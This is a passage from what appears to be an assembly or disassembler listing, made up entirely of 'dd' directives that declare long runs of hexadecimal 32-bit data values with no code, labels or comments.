		dd 193756E4h, 5C1D392Eh, 4058030Eh, 335B8FDAh, 0F2A80908h
		dd 4C50AB02h, 0A016285Eh, 8FDA1421h, 0D4549F10h, 357E100h
		dd 99C7EA2Ah, 86B813h, 0E6748C19h, 9CAED066h, 0DF007170h
		dd 0F276AF51h, 2DB9091h, 62296C07h, 0C380A8C7h,	0A953A4E1h
		dd 273CE400h, 0ACB2E21Dh, 0AB940179h, 292480F9h, 7F11E8E6h
		dd 0E18ECA00h, 0D76A33DEh, 0C85760F6h, 1236E686h, 10644000h
		dd 0D069AE13h, 99500A3h, 15E7EEC7h, 4900AFEFh, 44011229h
		dd 1CFC8D8h, 729ED089h,	7CAE1D54h, 6E1805D8h, 30E81EBDh
		dd 0C2194300h, 285C51F5h, 0F4987600h, 745E0EE0h, 6DE21E8Bh
		dd 61BD8E6Ah, 0FB6022C7h, 1EE6ACE0h, 0E987060Eh, 809BCF3Fh
		dd 5A72D28Eh, 2823124Ch, 3B7007DAh, 9EE15E8Fh, 0C45C8EF6h
		dd 0E090DC3Ch, 18BA9C07h, 7556B9Bh, 0C0B3AE83h,	0E92634Fh
		dd 5C567B86h, 889B40E0h, 0D72490AFh, 0A1001C77h, 0B743A3ACh
		dd 81CF5E5Ah, 0C0D5E7A0h, 151245C9h, 5CA0FF75h,	59484011h
		dd 0B2E45A0Ch, 49818625h, 7107ECFAh, 1BF248A0h,	0B2B34CA4h
		dd 9CCD1088h, 94B040h, 1BAD41AFh, 61A6C3FEh, 0F400F67Ch
		dd 0E7F0F86Ch, 766EB25h, 9475162Dh, 0BC78B9B4h,	7FCC3Ah
		dd 0B233D068h, 225C9Eh,	0C257DEF6h, 76632635h, 0EF00AC72h
		dd 0FFD132CFh, 9D3738h,	0B6132B82h, 0DC29D689h,	0E957D400h
		dd 0E4CA23DBh, 68FF0091h, 60C2CBE7h, 31F46153h,	0A33AB979h
		dd 890F00EBh, 93B57382h, 67700E6h, 359A908Dh, 0E17034C1h
		dd 564C2B00h, 0FADA60D7h, 0CEBA1F6Fh, 0CA61C319h, 30C87729h
		dd 0C338AB17h, 8B218015h, 73ECE38Ch, 0AE4200EAh, 81C57BC0h
		dd 0A500BA09h, 41A3C937h, 0B0C7CD46h, 9743586Fh, 65778700h
		dd 0E1030DC5h, 39928301h, 8AA51970h, 77A82CCh, 0CAD4664h
		dd 0A0E440EDh, 0EE009906h, 0C36F7E7Dh, 0F2EB04B3h, 72C60039h
		dd 231883EAh, 810F20BFh, 201375FBh, 0FAA2C49h, 0D3B500FEh
		dd 5A663C2Eh, 0F100AF5Dh, 26203DAh, 0F2C4470h, 3CBF1BCDh
		dd 9BD3E8E3h, 0F6391C8h, 5C360100h, 8A845FC5h, 156F00F9h
		dd 21B3E8FCh, 42009CE6h, 7552677Ah, 3E4670B7h, 1FF7086Ah
		dd 407B94DDh, 282BA33Fh, 0D400C5BAh, 56E74F9Bh,	73601B5Fh
		dd 0ED7337BBh, 0C36AC070h, 5503B698h, 3BD77FEFh, 60183EFDh
		dd 520389Dh, 3751BA9h, 98D16818h, 14005078h, 120D0C44h
		dd 3510B3Ch, 0DBC63AA7h, 50C32C10h, 9B284E60h, 30D4C3DAh
		dd 97181C12h, 51C0EB1Bh, 8853EEFh, 93160160h, 37DA620Dh
		dd 1BB4D0A9h, 94549A54h, 0EF4FD80h, 0EF1D6E7Fh,	1FADB4C5h
		dd 0C828070h, 0D593AA10h, 0E1DA1407h, 0AC90A5A7h, 179AEA3Ch
		dd 746F9Dh, 5D4AEF42h, 0F40023FFh, 0C8E995EBh, 0E28CBEh
		dd 548D46ECh, 17B39FD2h, 2A00E0E2h, 7030E4E3h, 2442A3F0h
		dd 823690h, 2F9F44DFh, 2C00383Ch, 201A2A6Ch, 980FD176h
		dd 0F0830083h, 4D1CC76Eh, 990011CEh, 79193012h,	789D352h
		dd 7A0C3794h, 9FD03061h, 0E30034CCh, 63F31D9Bh,	0A122145Dh
		dd 38F0F1A8h, 0BC9954BCh, 0AA08003Bh, 0B041207h, 0FC3A1AD5h
		dd 21BF300Ah, 0AA205Ah,	0A79A3582h, 3BE60CB4h, 0C433671Fh
		dd 3C73E280h, 2BE5D60h,	0CCDBC050h, 0B4A3EFBBh,	4BB372E8h
		dd 98D4183Fh, 1B3070EEh, 6220C007h, 0BF17C655h,	82714A88h
		dd 414FF423h, 0EC578AA0h, 80711C0h, 6600CD8h, 683B3722h
		dd 0FC30081Ah, 462820C8h, 5CCE00D8h, 0B12CE7B3h, 0E10997D0h
		dd 10733EE6h, 0F02F8Ch,	25B88394h, 2DD097EFh, 214C08CCh
		dd 95380210h, 0DBC2AC83h, 0A5300848h, 0D57593Eh, 0C9FECC9Dh
		dd 8788A091h, 6022D80Eh, 12B43112h, 0B35AC02Ah,	9C460E0Ch
		dd 0ACE0F274h, 0E6FE1E8Eh, 58F8E828h, 6847A807h, 0C281D109h
		dd 0E0E4BDA9h, 0F9BF4BAh, 0FE38A652h, 0C7DF1700h, 47738F6Fh
		dd 49078500h, 2F3CC5B1h, 1C961E3Eh, 60BBC088h, 0ECF455AEh
		dd 8BC7300Fh, 60346F29h, 12AD763Eh, 4BE872h, 3E2B5C5h
		dd 0D354987Ch, 8C84DB50h, 192F0100h, 242D087Dh,	87CB0074h
		dd 780ED24Fh, 0A658E26Ch, 83EC0164h, 76DE8B0Bh,	9DDFC4h
		dd 2140B4D9h, 0A4556833h, 0D7EFC203h, 0C063E72Dh, 0AA6AACh
		dd 0AE25EB3h, 8F68DC16h, 0FA5F9500h, 55E41E02h,	38980088h
		dd 0FF040ABEh, 0D2027BD1h, 2BB4CF66h, 136761Ch,	0A45F9B16h
		dd 5893F067h, 92076A7Bh, 9706B0A5h, 0EC2FCB90h,	1C4E006Eh
		dd 702FBC7h, 0A317B5E4h, 341EE0B8h, 0E8C32BC0h,	0CD65ECh
		dd 0BD557322h, 8159B2CAh, 80B7DF3Eh, 0E48327C9h, 78E3A24h
		dd 0F4E44D3h, 29F3A0A1h, 7358A88Bh, 46590722h, 0F81612D1h
		dd 5E940010h, 0C0C553E1h, 6C0002C2h, 0FA85A410h, 81E38Ah
		dd 48AFBC26h, 0BE9DA95Dh, 0F13A9203h, 0D86B11E7h, 3DF8D393h
		dd 12832B2Eh, 60025998h, 0F1C8D998h, 20A37B00h,	0EA913B6Ah
		dd 2C770062h, 5C50E59Ah, 0FD00AD74h, 4B960953h,	5A3D11h
		dd 6068C3C1h, 0A4879B8Bh, 8017143Ch, 0CB132DDEh, 83DDFFh
		dd 0DF16B128h, 0AC22394Bh, 5B994F00h, 0D8BD5CFCh, 0E3860043h
		dd 0A63D0F0Eh, 0BC009785h, 879A4F2Ch, 161DB449h, 332728Eh
		dd 1834C337h, 0EC766000h, 0CA1FFF3h, 0E8250071h, 0C01A3A19h
		dd 69076A91h, 0F64F036Dh, 0B1C4B631h, 90AB20h, 83859F13h
		dd 0F3FE8E78h, 0B4FAB001h, 2147915Ch, 0D916A0D7h, 50FD7FE9h
		dd 30EB902Ah, 0C660706Eh, 850E8402h, 0A7AD5B05h, 0FB407B92h
		dd 6F97BBh, 0A147208Ch,	0BCD1D01Ah, 16489B00h, 0F7553552h
		dd 0F4597853h, 98FF7D65h, 0C1691866h, 159F6A0Eh, 8E50BF00h
		dd 23AB1EF8h, 4A1900AFh, 7B5375A4h, 36008974h, 7DCD1054h
		dd 0B27060Ch, 9D0BFCC3h, 7295280h, 0CDFC314Bh, 114E38h
		dd 216360A0h, 0F8E0C5h,	9CF23D5Dh, 0B6BC683Ah, 0DD1DF000h
		dd 0ADC71976h, 0FF10090h, 0DB35B2B3h, 2F00297Ch, 0E28A511Ch
		dd 736525h, 8759E0CEh, 9AAF2798h, 0BF1E4000h, 3CD7DEE6h
		dd 0EFB09Fh, 0B6308F39h, 0EE0D0518h, 807A9200h,	0C8431A91h
		dd 0C79907A9h, 10DE8C3Dh
		dd 10F3D160h, 4B2B8113h, 8916590Bh, 0A0EF877Fh,	7DF09EC0h
		dd 0F318003Bh, 85F7E355h, 4F18DC9Fh, 0C3B8D420h, 5D9E393Ah
		dd 5716500h, 5EA71F49h,	113ECCE1h, 0A0262800h, 0F9336C5Bh
		dd 0D0B500D1h, 0C5B608D2h, 8D00F5B0h, 6AA546BFh, 1DD44844h
		dd 0B50C8h, 93959041h, 8D3AD872h, 781812D2h, 96477407h
		dd 0A8892023h, 3960BDh,	18AFAC0Dh, 0F8F5589Fh, 2D005498h
		dd 0CB79A9A3h, 2E8414h,	9F1D02BAh, 65635FE5h, 0C0DEBC30h
		dd 7FFFFD4Dh, 0AC82016Dh, 2AED2DB8h, 3890207Ah,	0C091D200h
		dd 7458859Eh, 53B11EEBh, 406C247Fh, 64F7500Eh, 3C00F97Ch
		dd 6E9AAAEh, 0F86F63h, 0B91C11BEh, 78FFD030h, 2C0027E0h
		dd 53CC01C3h, 0F3394Eh,	304952E9h, 17DFFA72h, 1F2BE17h
		dd 1CC0361Ch, 2EABF0A6h, 0E08F0081h, 299063FDh,	4F1D68C0h
		dd 0E740CE98h, 48ABD07Bh, 0B10739EEh, 1F189A30h, 0F50EA8E3h
		dd 268ED4D7h, 0F80E4AB5h, 8DF4E2h, 7F97630Ah, 0DA6C6ADCh
		dd 0F3E471FCh, 5541AA00h, 0AC2A0C38h, 0D2A518C8h, 2E2D50CDh
		dd 78141300h, 1237F287h, 0A85D1CCAh, 81704080h,	0F8413471h
		dd 0A7496800h, 8AEB9D3Ch, 0D033003Ah, 12427B66h, 2F03F4ACh
		dd 6806CEC3h, 0C01801D4h, 9E3C4D3Eh, 0D43714h, 3A188227h
		dd 3109DF34h, 530D303h,	8E7AECFDh, 0E3823500h, 0B304EEECh
		dd 2B960056h, 1694AF21h, 1EE47715h, 0E079442Dh,	1A9E46Eh
		dd 47B7BAA1h, 871BC30Ah, 0DE6B15D8h, 1050DD47h,	24711609h
		dd 76C5B9Dh, 9044B4AAh,	6DCE4637h, 74597C03h, 90BE5F66h
		dd 1D98E1Eh, 0D30A58BAh, 81379E1Bh, 9A333EA8h, 40CAA58Fh
		dd 1FAD5A64h, 3B4DDFCh,	39C47B6Ah, 0DFA22E88h, 99E0D900h
		dd 0CA5148Eh, 9D5A0C61h, 0AD28346Fh, 0A791D00Fh, 0A9D2000Bh
		dd 18D54106h, 3EE9AB8Bh, 3600BF48h, 52E71CC1h, 0FC724679h
		dd 7CB0B6h, 6B0A8A29h, 18E60280h, 0E64EB00h, 0CF160497h
		dd 0E07A60A4h, 9D0210A5h, 8AEAEC00h, 92902FCEh,	0CC124C45h
		dd 0EF0B7A01h, 9315C7A3h, 5B1E3610h, 6EE32A41h,	29805E26h
		dd 8D84055Ch, 6B7AF29Bh, 4B3EEE0Fh, 0B97EA0E2h,	0EA81F9CAh
		dd 5039773Fh, 0DAC217h,	4C4A52EBh, 6557369Dh, 0FA2C91C0h
		dd 38E83105h, 0FC0091A9h, 1ECA6CECh, 0E3003075h, 64DC524Bh
		dd 60CDCCh, 0F16BF00Eh,	8582BF53h, 15CFEA0Eh, 0D6E4C0D8h
		dd 3E786E59h, 0C200DBF8h, 943087F9h, 3701D950h,	0A99BA6F3h
		dd 88F55C2Eh, 75787FD4h, 1FF1007Bh, 0C8A764D3h,	8000382h
		dd 0A41A5616h, 15301CEh, 46273110h, 60C59A2Bh, 8B00449Dh
		dd 5F34C0A0h, 1C91BBC9h, 43D8C1CFh, 0F73CF59Bh,	0DA9FC2C1h
		dd 0D0EA3E60h, 34E04800h, 22C712A5h, 251A036Ah,	0B5F07D4Bh
		dd 0D56CD7E7h, 0D7CA83B8h, 677CF8A0h, 8CCD2907h, 3480F910h
		dd 3B738A9h, 28F32AB3h,	0D6C1CF85h, 0C239C098h,	6229500h
		dd 16A754EEh, 0E1712621h, 0D0F00082h, 0BDABA684h, 995D6F00h
		dd 70DEEC3Fh, 0C3E50016h, 9691F4FBh, 0B0BC6F3h,	8E6A0C7Ah
		dd 0A00FE73Fh, 170509Ch, 7B2F7C4Dh, 0F04825B4h,	8603E94Ah
		dd 2B3BBC47h, 0DA290034h, 35248494h, 6B008C8Eh,	0CBA5B65Dh
		dd 0DEA41Ch, 8A0E784Ah,	697D84A6h, 0B54C8E00h, 0ABB7533Eh
		dd 0D57F87h, 0DDA2B623h, 6216A413h, 0AF00DCEAh,	0BECBF2A1h
		dd 0D17309h, 0E7969A7Ah, 11B67E06h, 21AC0100h, 0D0164C5Bh
		dd 451D006Ah, 9968BCBDh, 0B516626Ch, 6F0035E7h,	0D2E1A32Bh
		dd 0EC4F039Bh, 3E40CB9Eh, 9AF104A8h, 71027E72h,	15B601D1h
		dd 0F2E2C025h, 860CA294h, 4817527h, 0EE1EE2F8h,	0F15483E8h
		dd 80F717A0h, 9FF210A0h, 0CDFF1CA0h, 0B1438h, 0B40A15BEh
		dd 73E23F2Dh, 84FA74h, 541D2FC3h, 8FB6C03Ch, 0F258E574h
		dd 46017D13h, 5E9D0179h, 40860225h, 58B33D56h, 0B8CA7A0Dh
		dd 0E0E0707Ch, 0EAC93ACFh, 76827907h, 0E277006h, 0F27C91FEh
		dd 0F01E7A01h, 7FF7F4E8h, 0E07C5447h, 33240741h, 401C3CD5h
		dd 55D726CEh, 3F343E50h, 3BD63722h, 5B0035F6h, 0F8E3AE1Ch
		dd 8E0C876Fh, 5C60788Bh, 0E2B1004Eh, 0B57D9F3Fh, 5A006F36h
		dd 68897569h, 2BBA39h, 174B6DC2h, 0A9EC7C80h, 0A0D86F01h
		dd 0E36B6121h, 0BC1FE8h, 5D82579Fh, 4C85BA11h, 4B7594A0h
		dd 2C050F03h, 0CB745614h, 32FFC877h, 0B64D00A2h, 0C2FEBE29h
		dd 0C3000485h, 28669A91h, 0E1688D15h, 0EAD030h,	0FD61BC97h
		dd 3190B9B1h, 0C50292FCh, 0C2076462h, 7F1F6023h, 0A72500CCh
		dd 1CD97588h, 4E0048D4h, 0BA991F5Fh, 976096h, 9A794F30h
		dd 1B6CAAD5h, 36005C75h, 0FEB0759Dh, 281E12ACh,	0A0B654h
		dd 0ADDB7FBFh, 305DE93Eh, 0D47CC203h, 91F14914h, 6E30CE3Dh
		dd 650201B7h, 0A3A8C91Bh, 929D89Ch, 0B0CD1D00h,	306094AAh
		dd 14440032h, 274991A2h, 1E0F799Bh, 393C9C5h, 94568F06h
		dd 7A8EC380h, 8BDD00F8h, 0D0B02069h, 183D4B28h,	0DC1B01CDh
		dd 0AB270BBEh, 1E8B31C0h, 5EC1546Dh, 0C53280EBh, 0EDCDFE72h
		dd 3DA4F000h, 0E8F9BD38h, 0A9970EC7h, 4A607DD9h, 0D8BB4763h
		dd 0D71C5A00h, 9E621F32h, 45913EF5h, 15D3F060h,	0FF70DEE8h
		dd 644AF700h, 11AE7C31h, 0C8350368h, 9D6784C5h,	0ADAAABB0h
		dd 0A1071670h, 0D1887F86h, 34D3BCB0h, 1B113DC7h, 0E50084B8h
		dd 31DF03F7h, 0F00D8FDh, 96462E6Ah, 0FF12BBh, 2ABEA572h
		dd 0C816E84Bh, 7E6E8F00h, 0E5327DF3h, 3A64906Fh, 0EA815FE3h
		dd 2E1CF50Ch, 978C41D2h, 5AFD6052h, 7D183476h, 0F18D1CCh
		dd 99B212F4h, 9A11F91h,	8820BF55h, 0DABE2D90h, 0CC1A3D00h
		dd 9C4958A9h, 0ED693BF0h, 3F30C603h, 4AC84D10h,	6F00D138h
		dd 0BDD6C0CFh, 1C6425h,	6697BCBAh, 0F97D442Fh, 0FB134016h
		dd 6099F300h, 4FF345h, 8DD48EFDh, 0E2AA8286h, 5844B900h
		dd 0EE51B839h, 2A4C007Fh, 0F1A1546Bh, 2800BFDFh, 9A300EC1h
		dd 4432F91h, 8A6F985h, 715480B7h, 0BA02B07Ch, 44E4FDC2h
		dd 7EA7E0CBh, 17400B5h,	516020B1h, 2E0028BAh, 1F026AD4h
		dd 7E820857h, 33291C4Ah, 0F9E3809Eh, 912C2B7Ch,	34554B00h
		dd 8EC60C16h, 80543DDFh, 892C6226h, 1C103B2Bh, 0DA00AA96h
		dd 55454657h, 0F0F29Eh,	0B5F4224Bh, 0FEA86579h,	8C3D530Ah
		dd 7C00BCEAh, 618B3A39h, 5C711C9Eh, 36D0C007h, 4624D315h
		dd 0D2225307h, 10A00670h, 0E02EE0BEh, 1BB738C5h, 0A8B828F0h
		dd 0A5D2E3FCh, 4980B1D8h, 28150E1Eh, 97DAD2h, 6BF1F41Fh
		dd 0EB9438BCh, 3ECD1200h, 0E7AC4613h, 39790A5Ah, 0D06F28h
		dd 46AE3CEh, 0CB382436h, 6D4B0EA2h, 13C7E06Ch, 7697A3Ah
		dd 0A334F723h, 0FFECB15Fh, 6C9189FCh, 0E5DE8073h, 0BF5B4Bh
		dd 0D29B0D35h, 766DBB48h, 0C7146200h, 5E8AC8E8h, 0C173AE6h
		dd 3E8182BDh, 6B76E96Eh, 4BFBEC3Bh, 0B2BFF500h,	0C8711A51h
		dd 5D7E97h, 67C40B49h, 0FE246518h, 412B2618h, 7F1222h
		dd 28DE4D03h, 0E4B62D39h, 0AAE37B00h, 0E0876180h, 0BA8A0088h
		dd 0E77F7EA3h, 0B3128963h, 180B78B7h, 92449806h, 0EEF1F27h
		dd 2190861Ch, 885888F2h, 0F51E00F0h, 0C8D8A20Bh, 30D79AEh
		dd 301CDC19h, 0F905E97h, 84007762h, 2BFBB1FEh, 317FEFh
		dd 6E53149Eh, 60F29B7Bh, 0F11AB212h, 0C629A000h, 72B0B652h
		dd 0AC0A00DFh, 44BB9E19h, 87076E9Bh, 0DA803AC9h, 0BA2DCA71h
		dd 163E1880h, 0CD49CF37h, 0B90264F2h, 9587977Ah, 6484881h
		dd 0A0D0078h, 4454660Ch
		dd 0F5E7B2C1h, 0AAFB70B5h, 8BE99301h, 0CA75AF5Eh, 8DC04BDDh
		dd 92011FC6h, 48E180F9h, 0E6567CC5h, 70132DE0h,	600079BDh
		dd 0DD124FADh, 107A66CDh, 4A0FBE14h, 81F629h, 0BD26726Ah
		dd 1A2D0341h, 22153C70h, 0C80F61D0h, 25556307h,	8CA32CEBh
		dd 406DF81Eh, 665D00CAh, 0DBA13181h, 0B0A0E9D0h, 6F60FB80h
		dd 7B90AB40h, 700430D4h, 8B6169E0h, 5E3B6400h, 39BE77C2h
		dd 83421DC5h, 3C8A8EFh,	0E5298775h, 0E6000E24h,	0D2E014FDh
		dd 3E66953Ah, 8983EC59h, 0EB5887E3h, 20BEDBF0h,	0F54D350Fh
		dd 1229008Fh, 4AEED2h, 0E859ABC1h, 0E9F0A62Ch, 4D0F5A00h
		dd 978E7395h, 0D8EC00CDh, 0A4E7A345h, 1903E072h, 65148456h
		dd 0B010C075h, 29820096h, 163D66A9h, 11008AC2h,	41FF6903h
		dd 2E0F13BDh, 8F1FEBE6h, 0E5A1627Bh, 0F0277543h, 0B70096A2h
		dd 60A78028h, 2070E64h,	883BE3D3h, 0B7E06E55h, 2B0099F5h
		dd 0A35F7B91h, 72BF8F62h, 0B5FA1DB4h, 7EF5CEA7h, 603A4B20h
		dd 15025E93h, 8A55C863h, 0CE89E0D0h, 6FAD001Ch,	0EF31DE52h
		dd 0BE4F70D8h, 90C1CBA0h, 0FD1C00ADh, 0B269C49Eh, 0F7000542h
		dd 9C067A23h, 0B5DD07Eh, 4D4B7D1Fh, 2159DD80h, 950068C2h
		dd 1D848CCDh, 1CDFA0DCh, 80CFA539h, 0C7963DF1h,	67725DB3h
		dd 0E476C900h, 0E284B5DFh, 0CAEB021Bh, 951824F6h, 0F81309E1h
		dd 0A21C37B7h, 7340A72Bh, 19537BFAh, 4EEA0046h,	89A9134Ah
		dd 52005D91h, 312F20B9h, 7CF028h, 0BB83D657h, 0C9CB694Fh
		dd 0DC94C701h, 893F76Dh, 718CE3E5h, 0C7081EF0h,	6EECA21Eh
		dd 83E493CEh, 3E34244Fh, 1D01FC39h, 0EC024A0Fh,	0F588F121h
		dd 0EF3CEC1Fh, 0B000F8E8h, 159278ACh, 8DF6Ch, 17A9FB01h
		dd 0BD934033h, 7630247Ch, 161B68EFh, 9D03306Dh,	3E05E370h
		dd 8D7A1A00h, 63F20C04h, 654A07C0h, 0D0A1EFD7h,	0C451BE1Bh
		dd 0DD0614FEh, 2C160F03h, 0B0288368h, 64A2E08Ch, 195C0F4h
		dd 470D9312h, 0E1871FEDh, 0D0CEAD9Eh, 0B4254CC6h, 0DC4091A1h
		dd 20299D8h, 0CDB8F0A3h, 0AA9660E2h, 83D400FEh,	0DCBF1A86h
		dd 600F91Dh, 5719BCB5h,	4CFEE494h, 0D800C156h, 8EC3FBF6h
		dd 8600C1AAh, 6D5D790Ch, 4E712Ah, 6E77990Dh, 0B5A5ECE6h
		dd 0B7D71201h, 0C21C7EDCh, 0F770C8E1h, 0DD7281h, 9BBDE8F5h
		dd 5EB9A29Ah, 0CD828400h, 0B6A46403h, 73BF1FECh, 0E4F54120h
		dd 0F89C85AEh, 8D001308h, 9BF3AF6Bh, 75D68Ch, 0F0D51DAAh
		dd 50D9CB84h, 7E2C9701h, 4C142016h, 0FA30B2F0h,	3E6BF854h
		dd 0B102CFDCh, 0EC721ECAh, 264BA8A0h, 161F0AA2h, 6E4C03C5h
		dd 0CFE1080Dh, 0A243D021h, 34B0DD1Ah, 9F0604A6h, 0CF93A0AEh
		dd 0B8BB3050h, 58518B28h, 32E42F00h, 336E01E8h,	0D89E64Fh
		dd 91FB698Fh, 1D445518h, 0F4404034h, 78479272h,	20E06C30h
		dd 3EBC6214h, 0D70A73D3h, 718206Fh, 0C8EAD013h,	90CF5804h
		dd 10EBF506h, 3148A31Eh, 33A89600h, 3D9FCB3h, 0DD79265Dh
		dd 38C07B1Ch, 8C0021DAh, 7A1FA4Bh, 0B7E07Ch, 5BAF12F3h
		dd 60DC58FBh, 0D05F1900h, 386C4582h, 0D44F01BEh, 7BAC526Bh
		dd 0D946EC40h, 4E00D07Dh, 0B6542F02h, 447EB3h, 201B9C12h
		dd 25859DACh, 52005C73h, 5FC3FCD4h, 0F8E1B264h,	0F1D50039h
		dd 4B2A9D87h, 0CB009531h, 0D225908Bh, 2DA88Fh, 238402DCh
		dd 70A31841h, 2F011C00h, 0B4829CA9h, 11F792Dh, 16958436h
		dd 0D5CB19BFh, 3760FC3Fh, 0F2346F00h, 75CAEE42h, 247000D4h
		dd 0BDF65A2Ah, 93828AEh, 10CC0098h, 7065B5C5h, 3EA60AABh
		dd 1ADAD47h, 0B983E237h, 0EE4087F0h, 6D617B3Bh,	58DCEC41h
		dd 0ED880011h, 2942D559h, 7900B198h, 0E057D970h, 56661Ch
		dd 0A58DAE32h, 0DC77B67Fh, 0AC999703h, 0A8CD0E9Ah, 750F043h
		dd 0C78A486Bh, 0E86E80E7h, 75001BA1h, 1367E293h, 61DC4Dh
		dd 0DDB1D807h, 6E2C2078h, 0C5BE4800h, 0F2192F6Ch, 0D5340075h
		dd 0A9F711A1h, 0D700239Bh, 0CA5CBCEAh, 0A62053h, 0DD4CB865h
		dd 6FE8D33Ch, 17D280h, 2E53C067h, 1D614B56h, 16937000h
		dd 0AEE50146h, 0FD7048Fh, 81098557h, 0D459DEC0h, 1D00BD11h
		dd 0FCEB5E8Dh, 0F48428DDh, 0A6E1009Dh, 0BF29DBC8h, 0AC00DA20h
		dd 942AA183h, 504D25ABh, 7B2CE014h, 0DB8D008Ah,	282E8323h
		dd 0E0034FF9h, 57160901h, 0BDE4E869h, 67F000CBh, 368C06C6h
		dd 4B00B8D0h, 0EEA62283h, 595D53h, 0BB02A325h, 0DEE46FF7h
		dd 80FE583Ah, 1185C50Fh, 38ABE9Bh, 0C4EF1F91h, 0B100848Fh
		dd 446537DBh, 0B1E110h,	4CADBA67h, 83550FB7h, 7F490300h
		dd 4A043051h, 0A580024h, 0F26715FDh, 0DB01AA39h, 0CBFF2B03h
		dd 50804BD0h, 0D1C66A1Fh, 0A40309E2h, 0FA4265D4h, 0B7E1E030h
		dd 0D5FE3FB1h, 15ECE400h, 6FA29BF8h, 89DCB400h,	8A977006h
		dd 2EAC0094h, 84D49C3Ah, 66034551h, 295B08CBh, 12800514h
		dd 802FB588h, 0AF8962A0h, 6C14577Dh, 15D89C72h,	160AAA3h
		dd 54B5062h, 18102759h,	3C00E382h, 0C8930708h, 3985D25Bh
		dd 0B38087B6h, 631BB48Eh, 9002439Fh, 0E36DC3E9h, 6073426Ah
		dd 1634913Bh, 0D3B97Eh,	638D4B26h, 0BC3E61E1h, 60AD0096h
		dd 1BFF5910h, 0B4833C22h, 0E24A4A4h, 73E1EFC4h,	4C7C39ECh
		dd 9000E640h, 4787678Bh, 1747F6Fh, 0EE4C6020h, 0CCA50FD5h
		dd 5E064368h, 234512D9h, 0D60C00C9h, 0D2C9C8BFh, 0EF00CB7Bh
		dd 0AE378B4Ch, 0A059DC1Bh, 0C751EC8h, 4A2A77Eh,	17205690h
		dd 733E00A3h, 3880AC32h, 583DB5B6h, 857D006Fh, 20844BEh
		dd 35F500AEh, 8ACD6448h, 0E7E0451Dh, 8A7897h, 2D5DE64Ch
		dd 0ACDC88C9h, 0CD304703h, 0C199AA3Eh, 0C0C41401h, 82EA1C77h
		dd 0B28C07A3h, 7544111Eh, 0CDC9E4F2h, 0D4D5D300h, 0C174FCDBh
		dd 53FD035Eh, 0F0971E8Dh, 1B08AB8h, 0DA89871Eh,	160034D3h
		dd 53E7F368h, 74F102B2h, 3B83F205h, 317D9660h, 0C49C9B00h
		dd 1966BD8h, 0C4C2501Ah, 0F2B70417h, 0C039EF6Ch, 0BDC2758h
		dd 8DC59638h, 0F8526509h, 3787F4h, 0BAADF0D1h, 82605967h
		dd 200D5B00h, 0F496280Ch, 0BF2100A7h, 0AC1075CDh, 600FC184h
		dd 2F2E6C1Ah, 3A4740B6h, 2A2F0B04h, 26B466FEh, 3D6BFF2h
		dd 7B9A0D4Ch, 42E4C007h, 20502387h, 5C5C689h, 714D4598h
		dd 7DC90F0Ah, 7B7F05E3h, 0C314B480h, 0D3DC621Eh, 0E91E26C1h
		dd 9C209C89h, 8F9600D7h, 7CE623BEh, 18E2907Bh, 824BEA0Fh
		dd 3F00967Dh, 2F293A8Dh, 38DD0299h, 98352AEh, 0E0B56C68h
		dd 122EA01Fh, 81863443h, 603FA08Bh, 68783Bh, 0F0BE43A9h
		dd 0E48C2F5Fh, 2A10AA60h, 1F9AB74h, 8AB7441Bh, 207A3296h
		dd 0DD023888h, 0E8A4B455h, 3930C0FCh, 496D00F5h, 0A979ABC8h
		dd 891E5878h, 4F40E9F7h, 6FB8E595h, 0BC902E8h, 0BD5731FDh
		dd 0C61E6C60h, 0EA75F40Eh, 0A7001D9Ah, 8266A18Eh, 80A898DCh
		dd 14B240EEh, 0B4111397h, 6A842521h, 5584F22Ah,	0DCEE3CC0h
		dd 0C47B26A2h, 0C5450077h, 4AFA4CE5h, 8525EA00h, 3F058CA3h
		dd 3D7200CAh, 0D43A8AAAh, 84005BF1h, 53564D48h,	6794B6h
		dd 4B1B263h, 2CD3176Eh,	0D2AA7900h, 51C1ECCDh, 0F2A5006Ch
		dd 0C501619Fh, 8E3E3E0Ch, 0C4A4A8C7h, 65F11903h, 0A3114555h
		dd 0F7A7A8FCh, 4D440023h, 0F0658DDh, 71006FB7h,	537807D9h
		dd 1FE988D7h, 80E4E614h, 0F8652F86h, 0D079601Dh, 2551200h
		dd 8210AAFAh, 6381009Ah, 0BFB28F9Bh, 0C8243304h, 38002D6Fh
		dd 1AA6E88Ch, 45D100BBh
		dd 0C4AAF05Dh, 70781471h, 58916700h, 0AEA1100Ch, 0F9F8E3C2h
		dd 0F51500E9h, 0E7D94B9Fh, 0CF1C1D09h, 7DC73FB4h, 9AB02B99h
		dd 0BEF38h, 0ECB8AE86h,	6D3956AAh, 610795F4h, 0E03E1BB1h
		dd 2F4B2D30h, 0A6753ED6h, 0B6E8C500h, 0F3BABC92h, 0CC1C7A00h
		dd 50D63EBBh, 4FBF0335h, 848D32FCh, 0A265D3FFh,	0C1CF88B8h
		dd 1CC22B00h, 0EBED68F0h, 0BD970020h, 0F904DC48h, 0BE0E3515h
		dd 0E0465205h, 0DA719D47h, 0F8FA6092h, 8750BC27h, 68F47D00h
		dd 178CCCA7h, 33D0789Eh, 0A611E5C1h, 54E05EC3h,	986F4E73h
		dd 0CE1F8F80h, 719098F0h, 0DE780E20h, 0E280C84Bh, 0EC8AE6B4h
		dd 0DB5FD800h, 3732F066h, 676416F3h, 0F4220317h, 60CEAFD3h
		dd 0BD09605h, 28009798h, 0C61F5E19h, 0FDB0D7h, 0D9993E4Ch
		dd 874706ABh, 0BE2BA800h, 67C4116Fh, 5D0FE1Dh, 0F752175Ch
		dd 8F904A90h, 0F6190154h, 802168D0h, 0B6056650h, 0E3F73F7h
		dd 2B89FB33h, 0E869F280h, 0C31EC0F9h, 0F809450h, 793836ECh
		dd 0B7F60793h, 90DD2489h, 75A4C091h, 3C997F00h,	9AC19DE7h
		dd 768E07EDh, 0C0FEE696h, 0B8A120A4h, 87B3AB0h,	90E70B00h
		dd 2CB149B4h, 99370EBDh, 38A08956h, 7319D89Dh, 2FBEC400h
		dd 407D4A91h, 69333FEDh, 0C807B6CCh, 2BF08Eh, 0D9730908h
		dd 0D8F86Bh, 0BCE675D0h, 6AF90090h, 0ED700A30h,	0C5038AAFh
		dd 48022CF6h, 0B540D775h, 51D141h, 0C24FC138h, 49C9CFB9h
		dd 42DA3000h, 0D071873Bh, 41603C1Bh, 0DDBA7380h, 1DB1D5F4h
		dd 586A6C00h, 0B27D838Dh, 1E5C00C1h, 761A542Ah,	0FC0028DEh
		dd 55751964h, 0A95DF7h,	9866E279h, 11FD7B3Dh, 343A300Eh
